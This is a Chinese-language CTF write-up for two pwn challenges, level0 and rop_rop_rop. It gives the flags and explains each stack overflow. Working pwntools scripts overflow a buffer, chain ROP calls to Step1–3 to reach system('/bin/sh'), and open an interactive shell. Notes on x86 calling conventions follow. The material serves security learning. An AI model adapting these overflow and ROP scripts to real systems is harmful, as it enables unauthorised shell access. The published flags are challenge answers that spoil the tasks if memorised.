PWN
题解
level0
CTF{713ca3944e92180e0ef03171981dcd41}
vulnerable_function里buf只有0x80大小,但读取0x200个字符;函数里还有callsystem。将r之前的都随意填充掉,跟上callsystem的地址就好了。
from pwn import *
io = remote("pwn2.jarvisoj.com", 9881)
elf = ELF("./level0")
io.send("a" * (0x80 + 0x8) + p64(elf.symbols["callsystem"]))
io.interactive()
rop_rop_rop
islab{佳婷姐姐强啊!}
Step3里有system(str),str经过step1-3被赋值成"/bin/sh",所以要把step1-3都走完。
GetUserInput里buf在ret下面,应该没法栈溢出;MyStrcpy复制数组直到'',考虑用它给buf赋值使main函数栈溢出。绕过p长度检验就用'\0'代替'A'填充好了。
然后我打算构建一个payload一次输入能连着运行三个函数,但实在不知道ebp该怎么返回、返回到哪,问了学长才知道可以返回到输入函数那里——我完全忘了参数上面还应该有主调函数中下一个指令的地址了,以为返回主调函数全靠ebp指着的prev ebp……
然后发现传参的p32(-1565276971)总是报错,找到了struct.pack('i', -1565276971)。
#!/usr/bin/env python
# coding:utf-8
from pwn import *
from struct import pack
# io = process("./rop_rop_rop")
io = remote("10.4.21.55", 9005)
elf = ELF("./rop_rop_rop")
input_addr = elf.symbols["main"]
func1_addr = elf.symbols["Step1"]
func2_addr = elf.symbols["Step2"]
func3_addr = elf.symbols["Step3"]
arg1 = p32(0) + p32(1094795585) + pack("i", -1565276971)
arg2 = pack("i", -14309420) + p32(1094795585)
arg3 = pack("i", -1) + p32(202116108) + pack("i", -1702716798)
payload1 = "\0" * (0xc + 0x4) + p32(func1_addr) + p32(input_addr) + arg1 + "\n"
payload2 = "\0" * (0xc + 0x4) + p32(func2_addr) + p32(input_addr) + arg2
payload3 = "\0" * (0xc + 0x4) + p32(func3_addr) + p32(input_addr) + arg3
io.send(payload1)
io.sendline(payload2)
io.sendline(payload3)
io.interactive()
调用函数大致过程
- 将eax、ecx、edx压栈(如果被调函数要改变这些寄存器的值);
- 将被调函数的参数按从右向左的顺序压入栈中;
- 将eip(被调函数后下一条指令)压入栈中,并跳转到被调函数的地址;
(主调函数的工作干完了)
- 将ebp压入栈中;
- 把esp赋值给ebp,使其指向新的栈帧的栈底(就是老的ebp);
- 将ebx、esi、edi压栈(如果被调函数要改变这些寄存器的值);
- 给局部变量分配空间(局部变量用ebp-便宜找到,参数用epb+便宜);
- 进行被调函数的各种操作;
- 返回值(整形给eax,浮点型给浮点寄存器,结构体就存在栈里);
(被调函数完了)
- 做了6就恢复那些寄存器的值;
- 把ebp的值传给esp;
- popl %ebp(看图好像是 ebp=老 ebp 的赋值);
- ret(popl %eip);
- 把参数弹出栈;
- 把返回值存下来(movl %eax, wherever……);
- 做了1就恢复这些寄存器。
要返回一个指定函数时函数地址和参数之间还有一行函数执行完后指令的地址,相当于上面的第3条。
这些是看网上找的PPT里抄的,这个有讲函数调用完怎么恢复。